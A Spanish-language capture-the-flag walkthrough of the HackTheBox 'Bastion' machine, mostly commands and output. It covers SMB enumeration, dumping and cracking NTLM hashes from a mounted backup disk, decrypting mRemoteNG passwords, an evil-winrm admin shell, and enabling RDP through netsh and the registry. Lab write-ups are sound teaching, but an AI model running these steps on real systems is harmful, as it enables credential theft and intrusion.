Posts Hackthebox Bastion Writeup (OSCP Style)
Post
Cancel

Hackthebox Bastion Writeup (OSCP Style)



Información de la máquina.

ContenidoDescripción
OS:enter image description here
Dificultad:Fácil
Puntos:20
Lanzamiento:27-Abril-2019
IP:10.10.10.134
Primera sangre de usuario:st3r30byt3
Primera sangre de system:snowscan
Creador:L4mpje

Reconocimiento.

Como siempre comenzaremos con un escaneo a los 65535 puertos de la máquina para poder encontrar cuales son los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts bastion.htb --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-13 21:12 CDT
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.16s latency).
Not shown: 64962 closed ports, 559 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 38.22 seconds
ParámetroDescripción
-p-Escanea los 65535 puertos de la máquina.
–openMuestra solo los puertos abiertos.
-T5Velocidad del escaneo muy agresiva.
-nDesactivar la resolución de nombres DNS.
-oGExportar escaneo en formato grepeable.
–min-ratePaquetes por segundo.

Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
intrusionz3r0@kali:~$ nmap -sCV -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -oN targeted bastion.htb
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.16s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -40m05s, deviation: 1h09m14s, median: -7s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-09-10T01:58:39+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-09T23:58:41
|_  start_date: 2020-09-09T21:39:57

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  9 18:58:56 2020 -- 1 IP address (1 host up) scanned in 74.04 seconds

ParámetroDescripción
-sCVEs la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios.
-pEspecifica los puertos a enumerar.
-oNExporta el escaneo en formato nmap.

Resumen de puertos.

Los puertos que mas destacan son:

  • Puerto 22 SSH.
  • Puertos 139,445 con un servicio Samba.
  • Puerto 5985 con un servicio Winrm.

Enumeración Samba.

Utilizare la herramienta smbclient para enumerar los recursos compartidos del servicio samba utilizando sesiones nulas.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ smbclient -L //bastion.htb/ -N           

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        Backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available

Después usare la herramienta smbmap para enumerar los permisos de los recursos compartidos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
intrusionz3r0@kali:~$ smbmap -R -H bastion.htb -u "null"
[+] Guest session       IP: bastion.htb:445     Name: unknown                                           
[\] Work[!] Unable to remove test directory at \\bastion.htb\Backups\MNGCELSROX, please remove manually
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        Backups                                                 READ, WRITE
        .\Backups\*
        dr--r--r--                0 Sun Sep 13 21:26:06 2020    .
        dr--r--r--                0 Sun Sep 13 21:26:06 2020    ..
        dr--r--r--                0 Sat Sep 12 23:21:49 2020    disco
        dr--r--r--                0 Sat Sep 12 23:42:25 2020    ITSPWBLCEQ
        dr--r--r--                0 Sun Sep 13 21:26:06 2020    MNGCELSROX
        fw--w--w--              116 Tue Apr 16 06:43:19 2019    note.txt
        dr--r--r--                0 Sat Sep 12 23:14:51 2020    NSAPTVHMGD
        fr--r--r--                0 Fri Feb 22 06:43:28 2019    SDT65CB.tmp
        dr--r--r--                0 Fri Feb 22 06:44:02 2019    WindowsImageBackup
        dr--r--r--                0 Sat Sep 12 23:14:31 2020    XYEACLZGRP
        .\Backups\WindowsImageBackup\*
        dr--r--r--                0 Fri Feb 22 06:44:02 2019    .
        dr--r--r--                0 Fri Feb 22 06:44:02 2019    ..
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    L4mpje-PC
        .\Backups\WindowsImageBackup\L4mpje-PC\*
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    .
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    ..
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    Backup 2019-02-22 124351
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    Catalog
        fr--r--r--               16 Fri Feb 22 06:44:02 2019    MediaId
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    SPPMetadataCache
        .\Backups\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\*
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    .
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    ..
        fr--r--r--         37761024 Fri Feb 22 06:44:03 2019    9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
        fr--r--r--       5418299392 Fri Feb 22 06:45:32 2019    9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
        fr--r--r--             1186 Fri Feb 22 06:45:32 2019    BackupSpecs.xml
        fr--r--r--             1078 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
        fr--r--r--             8930 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
        fr--r--r--             6542 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
        fr--r--r--             2894 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
        fr--r--r--             1488 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
        fr--r--r--             1484 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
        fr--r--r--             3844 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
        fr--r--r--             3988 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
        fr--r--r--             7110 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
        fr--r--r--          2374620 Fri Feb 22 06:45:32 2019    cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
        .\Backups\WindowsImageBackup\L4mpje-PC\Catalog\*
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    .
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    ..
        fr--r--r--             5698 Fri Feb 22 06:45:32 2019    BackupGlobalCatalog
        fr--r--r--             7440 Fri Feb 22 06:45:32 2019    GlobalCatalog
        .\Backups\WindowsImageBackup\L4mpje-PC\SPPMetadataCache\*
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    .
        dr--r--r--                0 Fri Feb 22 06:45:32 2019    ..
        fr--r--r--            57848 Fri Feb 22 06:45:32 2019    {cd113385-65ff-4ea2-8ced-5630f6feca8f}
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        .\IPC$\*
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    InitShutdown
        fr--r--r--                4 Sun Dec 31 17:23:24 1600    lsass
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    ntsvcs
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    scerpc
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    Winsock2\CatalogChangeListener-2f4-0
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    epmapper
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    Winsock2\CatalogChangeListener-1dc-0
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    LSM_API_service
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    eventlog
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    Winsock2\CatalogChangeListener-390-0
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    atsvc
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    Winsock2\CatalogChangeListener-35c-0
        fr--r--r--                4 Sun Dec 31 17:23:24 1600    wkssvc
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    spoolss
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    Winsock2\CatalogChangeListener-61c-0
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    trkwks
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    W32TIME_ALT
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    openssh-ssh-agent
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    vgauth-service
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    Winsock2\CatalogChangeListener-5b8-0
        fr--r--r--                5 Sun Dec 31 17:23:24 1600    srvsvc
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    Winsock2\CatalogChangeListener-25c-0
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    Winsock2\CatalogChangeListener-264-0
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    TermSrv_API_service
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    Ctx_WinStation_API_service
        fr--r--r--                3 Sun Dec 31 17:23:24 1600    SessEnvPublicRpc
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    TDLN-580-41
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    TDLN-1904-41
        fr--r--r--                1 Sun Dec 31 17:23:24 1600    UIA_PIPE_580_00002a4a

Los archivos que mas destacan son:

  • note.txt
  • 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
  • 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd

Montando los recursos.

¿Que son los archivos VHD?

VHD (Virtual Hard Disk) es un formato de archivo que representa una unidad de disco duro virtual. Contiene lo mismo que lo que se puede encontrar en un disco duro físico, como particiones de disco y un sistema de archivos, aparte de archivos y carpetas.

En el archivo note.txt encontramos lo siguiente:

Administradores de sistemas: no transfieran todo el archivo de respaldo localmente, la VPN a la oficina subsidiaria es demasiado lenta.

Bien, al parecer no podemos descargarnos los vhd lo cual es obvio, pero lo que podemos hacer es montar los recursos para acceder a ellos.

Pasos:

Primero usaremos la herramienta mount para montarnos el recurso compartido.

1
intrusionz3r0@kali:~$ sudo mount -t cifs //bastion.htb/backups /mnt/HTB/Bastion -o username="null",password="null"

Luego nos montamos 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd utilizando la herramienta qemu-utils .

Primero nos instalamos la utilidad.

1
intrusionz3r0@kali:~$  sudo apt-get install qemu-utils

Después cargamos el modulo de kernel nbd.

1
2
intrusionz3r0@kali:~$ sudo rmmod nbd 
intrusionz3r0@kali:~$ sudo modprobe nbd max_part=16

Levantamos el servicio qemu-nbd y montamos la partición.

1
2
intrusionz3r0@kali:~$ sudo qemu-nbd -c /dev/nbd0 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd1
intrusionz3r0@kali:~$ sudo mount /dev/nbd0p1 /mnt/HTB/vhd

Enumeración de disco virtual.

Si Accedemos a la ruta encontraremos algo como lo siguiente:

Enumerando un poco el disco me percate de que tenemos permisos máximos en los archivos SAM y SYSTEM.

1
2
3
intrusionz3r0@kali:~$ ls -la
.rwxrwxrwx  root  root   256 KB  Fri Feb 22 06:39:21 2019    SAM
.rwxrwxrwx  root  root   9.2 MB  Fri Feb 22 06:43:54 2019    SYSTEM

¿Que son los archivo SAM y SYSTEM?

  • El archivo SAM (Security Account Manager) es un fichero que se encarga de almacenar credenciales de los usuarios en el sistema operativo de Windows.

  • El archivo SYSTEM es el archivo el cual se utiliza para proteger el archivo SAM, este tiene la clave para descifrar el contenido del archivo SAM.

Volcado de hashes.

Me muevo los archivos a mi máquina local y utilizo la herramienta samdump2 para volcar los hashes NTLM.

NTLM es el proveedor predeterminado de autenticación de windows.

1
2
3
4
intrusionz3r0@kali:~$ samdump2 SYSTEM SAM
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::v

Crackeando hash NTLM.

El formato de salida anterior tiene la siguiente estructura:

  • Nombre de usuario : ID de usuario : Hash de la contraseña en LM : Hash de la contraseña en NTLM

La parte que mas nos interesa es la que esta marcado en negrita, esa la pasamos a un archivo de texto y utilizamos la herramienta john para descifrarla.

1
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt ntlm --format=nt

Credenciales: L4mpje:bureaulampje.

Rápidamente utilizo la herramienta de crackmapexec para verificar la validez de las credenciales.

1
2
3
cme smb bastion.htb -u "L4mpje" -p "bureaulampje"
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [+] Bastion\L4mpje:bureaulampje

y vemos que efectivamente las credenciales son validas por lo que inicio sesión por SSH.

1
intrusionz3r0@kali:~$ ssh L4mpje@bastion.htb

Pero al entrar me percato de que la conexión esta muy extraña y me molesta por lo que mejor decido mudarme a una shell de powershell.

Para que el script funcione necesitas colocar al final del script la linea que esta señalada.

Post-Enumeración.

Para enumerar una máquina en Windows puede seguir la siguiente guia.

Enumerando un poco encontré un programa muy inusual instalado en la máquina.

mRemoteNG es un desarrollo Open Source que permite añadir, usar y gestionar conexiones de diferentes protocolos.

Este cuenta con un archivo de configuración llamado confCons.xml que dentro almacena credenciales.

Hago una búsqueda en Google para ver donde se encuentra el archivo y encuentro lo siguiente:

Me dirijo a la ruta y efectivamente encontramos el archivo.

Rápidamente lo paso a mi maquina y comienzo a analizarlo.

No es de esperar que la contraseña se encuentre cifrada.

Descifrando la contraseña.

Buscando en Internet encontré la siguiente herramienta: mRemoteNG-Decrypt.

Abro una terminal y ejecuto el siguiente comando.

1
2
intrusionz3r0@kali:~$ python mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
Password: thXLHM96BeKL0ER2

Shell como System.

Ahora que tenemos unas credenciales podemos validarlas con crackmapexec.

1
2
3
cme smb bastion.htb -u "Administrator" -p "thXLHM96BeKL0ER2"
SMB         10.10.10.134    445    BASTION          [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB         10.10.10.134    445    BASTION          [+] Bastion\Administrator:thXLHM96BeKL0ER2 (Pwn3d!)

Después solo nos autenticamos con las credenciales al servicio winrm.

1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i bastion.htb -u "Administrator" -p "thXLHM96BeKL0ER2"                          

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
bastion\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Escritorio Remoto.

Antes de terminar me gustaría conectarme de manera remota a la máquina, para ello creo una regla de firewall que permita el trafico de entrada y salida por el puerto 3389.

1
2
C:\Windows\system32>  netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
C:\Windows\system32>  netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=out localport=3389 action=allow

Después habilitamos el RDP modificando el registros.

1
C:\Windows\system32>  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Por ultimo solo utilizamos remmina para conectarnos vía escritorio remoto.

¡¡Somos Administradores!!

enter image description here

Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.

¡Muchas Gracias!

This post is licensed under CC BY 4.0 by the author.